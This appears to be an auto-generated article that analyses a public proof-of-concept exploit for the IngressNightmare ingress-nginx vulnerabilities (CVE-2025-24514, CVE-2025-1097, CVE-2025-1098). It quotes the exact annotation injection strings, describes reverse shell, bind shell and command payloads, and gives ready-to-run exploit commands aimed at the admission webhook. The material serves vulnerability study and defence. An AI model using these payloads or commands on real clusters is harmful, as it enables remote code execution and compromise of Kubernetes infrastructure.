How CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 Are Exploited via Ingress Nightmare

Ingress Nightmare exploits three critical vulnerabilities in the kubernetes/ingress-nginx controller by injecting malicious NGINX configuration directives through annotations, causing the admission webhook to load attacker-controlled shared objects via the ssl_engine directive during configuration validation.

The esonhugh/ingressnightmare-cve-2025-1974-exps repository implements a complete proof-of-concept that demonstrates how CVE-2025-24514, CVE-2025-1097, and CVE-2025-1098 enable remote code execution inside NGINX ingress controller pods. This analysis examines the source code to reveal the unified exploitation pipeline shared by all three vulnerabilities.

The Unified Exploitation Pipeline

All three CVEs leverage an identical three-stage attack chain that abuses the ingress-nginx admission controller’s configuration validation process. According to the repository source code, the exploitation flow works as follows:

  1. Upload a malicious shared object (danger.so) to the NGINX pod via the ingress-nginx "upload" endpoint
  2. Inject a malicious annotation containing an ssl_engine directive into an AdmissionReview request
  3. Trigger NGINX configuration validation (nginx -t) which loads the shared object as an SSL engine and executes the payload

The specific vulnerability being exploited depends on which annotation carries the malicious payload, controlled via mutually exclusive CLI flags in main.go【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L87-L93】.

Step-by-Step Technical Breakdown

Step 1: Malicious Shared Object Upload

The exploit begins by uploading a compiled ELF library to the target pod. In nginx-ingress/exploit.go, the BadUploader() and UploadThread() functions handle this delivery【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L52-L85】.

The payload is embedded in the binary at compile time via payload.goDefaultEvilLibrary(), which contains a byte slice of the compiled danger.so library【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L27-L33】. This shared object, compiled from danger.c, writes "Code Injected!" to NGINX stderr when loaded.

Step 2: AdmissionReview Template Injection

The tool renders a malicious AdmissionReview JSON payload using RenderValidateJSON() in nginx-ingress/exploit.go【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L39-L50】. This function processes the validate.json template, which contains three distinct injection points corresponding to each CVE:

  • CVE-2025-24514: auth-url: "http://example.com/#;}}}\n\nssl_engine foobar;\n\n"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L46-L48】
  • CVE-2025-1097: auth-tls-match-cn: "CN=abc #(\n){}\n }}\nssl_engine foobar;\n#"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L44-L46】
  • CVE-2025-1098: uid": "InjectTest#;\n\n}\n}\n}\nssl_engine foobar", combined with "mirror-target": "fake-mirror-target"【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/validate.json#L38-L44】

The template replaces the foobar placeholder with a path traversal string pointing to the uploaded file descriptor (../../../../../../proc/<pid>/fd/<fd>) or a specific filesystem path.

Step 3: Brute-Force PID/FD Discovery and Code Execution

The ValidateWebHook() function implements a brute-force loop over plausible PID ranges (default 5-40) and file descriptor ranges (default 3-26)【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L59-L84】. When the admission controller executes nginx -t to validate the injected configuration, the ssl_engine directive references the uploaded shared object, causing NGINX to load and execute the attacker's code inside the controller pod.

Detection logic in ValidateWebhookSpecificFilePath() confirms success by searching for the "Code Injected!" string in the AdmissionReview response【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/exploit.go#L104-L124】.

CVE-Specific Attack Vectors

CVE-2025-24514: auth-url Annotation Injection

This vulnerability abuses the nginx.ingress.kubernetes.io/auth-url annotation. When the --is-auth-url flag is set (enabled by default), the tool injects the ssl_engine directive into the auth-url template variable. The ingress-nginx controller processes this annotation during admission validation, triggering the shared object load when parsing the authentication URL configuration.

CVE-2025-1097: auth-tls-match-cn Annotation Injection

Activated by the --is-match-cn flag, this vector targets the nginx.ingress.kubernetes.io/auth-tls-match-cn annotation. The exploit crafts a Common Name string containing newlines and closing braces to break out of the NGINX configuration template context, injecting the ssl_engine directive that references the uploaded payload.

CVE-2025-1098: mirror-target and uid Field Injection

Enabled via --is-mirror-with-uid, this method targets the mirroring functionality. The attack requires both a mirror-target annotation and a malicious uid field containing the ssl_engine injection. The ingress-nginx mirror module parses the uid parameter, allowing the attacker to smuggle the configuration directive through a field typically used for request identification.

Payload Generation and Modes

The nginx-ingress/payload.go file provides three payload constructors that modify the embedded danger.so library at runtime:

  • Reverse shell: NewReverseShellPayload() replaces placeholders with attacker IP and port【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L46-L71】
  • Bind shell: NewBindShellPayload() configures a listening port inside the compromised pod【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L74-L90】
  • Command execution: NewCommandPayload() executes arbitrary shell commands【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/nginx-ingress/payload.go#L92-L101】

The main.go switch statement routes the selected mode to the appropriate payload generator【/cache/repos/github.com/esonhugh/ingressnightmare-cve-2025-1974-exps/main/main.go#L11-L24】.

Practical Exploitation Examples

Exploiting CVE-2025-24514 (Default auth-url method)

./ingressnightmare \
    -m r \
    -r 10.20.30.40 \
    -p 4444 \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80

This command uses the default --is-auth-url flag to inject via the auth-url annotation, delivering a reverse shell to 10.20.30.40:4444.

Exploiting CVE-2025-1097 (auth-tls-match-cn)

./ingressnightmare \
    -m c -c "id > /tmp/pwned" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --is-match-cn \
    --auth-secret-name kube-system/cilium-ca

The --is-match-cn flag switches the injection target to the auth-tls-match-cn annotation, requiring a valid TLS secret reference via --auth-secret-name.

Exploiting CVE-2025-1098 (mirror-uid)

./ingressnightmare \
    -m c -c "cat /etc/kubernetes/pods > /tmp/pods" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --is-mirror-with-uid

The --is-mirror-with-uid flag enables the mirror-target and uid injection vector for environments where the other annotations may be restricted.

Dry-Run Mode for Payload Verification

./ingressnightmare -m c -c "id" \
    -i https://ingress-nginx-controller-admission.ingress-nginx.svc.cluster.local:443 \
    -u http://ingress-nginx-controller.ingress-nginx.svc.cluster.local:80 \
    --dry-run

Use --dry-run to inspect the rendered AdmissionReview JSON without executing the attack, verifying the foobar placeholder replacement.

Summary

  • Ingress Nightmare chains three annotation-based injection vulnerabilities (CVE-2025-24514, CVE-2025-1097, CVE-2025-1098) to achieve RCE in ingress-nginx controllers
  • All exploits follow the same pipeline: upload danger.so via BadUploader(), inject via RenderValidateJSON(), and trigger via ValidateWebHook()
  • The ssl_engine directive in malicious annotations forces NGINX to load the attacker-controlled shared object during nginx -t validation
  • CVE-specific flags (--is-auth-url, --is-match-cn, --is-mirror-with-uid) select the vulnerable annotation target in validate.json
  • Payload types (reverse shell, bind shell, command) are generated by functions in payload.go and embedded into the exploit binary

Frequently Asked Questions

How does the ingress-nginx admission controller validate Ingress resources?

The admission controller receives AdmissionReview requests from the Kubernetes API server and validates them by running nginx -t against a temporary configuration file generated from the Ingress resource. According to the source code in nginx-ingress/exploit.go, this validation process parses all annotations, including auth-url, auth-tls-match-cn, and mirror-related fields, which allows the ssl_engine directive injection to be processed.

What is the purpose of the foobar placeholder in the exploit?

The foobar placeholder in nginx-ingress/validate.json serves as a template variable that gets dynamically replaced by RenderValidateJSON() with a path traversal string pointing to the uploaded shared object. This placeholder is replaced with strings like ../../../../../../proc/<pid>/fd/<fd> to reference the file descriptor of the uploaded danger.so payload without knowing the absolute filesystem path in advance.

Can the exploit work without knowing the specific PID or file descriptor?

Yes, the implementation in nginx-ingress/exploit.go includes a brute-force mechanism that iterates through a range of probable process IDs (5-40) and file descriptors (3-26). The UploadThread() maintains the uploaded file open while ValidateWebHook() concurrently tests combinations until the "Code Injected!" confirmation appears, indicating the correct PID/FD combination was found and the payload executed.

What distinguishes the three CVEs if they use the same exploitation technique?

While all three CVEs share the same ssl_engine injection mechanism, they target distinct annotation parsing code paths within ingress-nginx. CVE-2025-24514 abuses the authentication URL annotation, CVE-2025-1097 targets the TLS client certificate Common Name matching, and CVE-2025-1098 exploits the request mirroring UID field. Each requires a different annotation structure and context to reach the vulnerable NGINX configuration template, as reflected in the three distinct template sections of validate.json.

Have a question about this repo?

These articles cover the highlights, but your codebase questions are specific. Give your agent direct access to the source. Share this with your agent to get started:

Share the following with your agent to get started:
curl -s "https://instagit.com/install.md"

Works with
Claude Codex Cursor VS Code OpenClaw Any MCP Client

Maintain an open-source project? Get it listed too →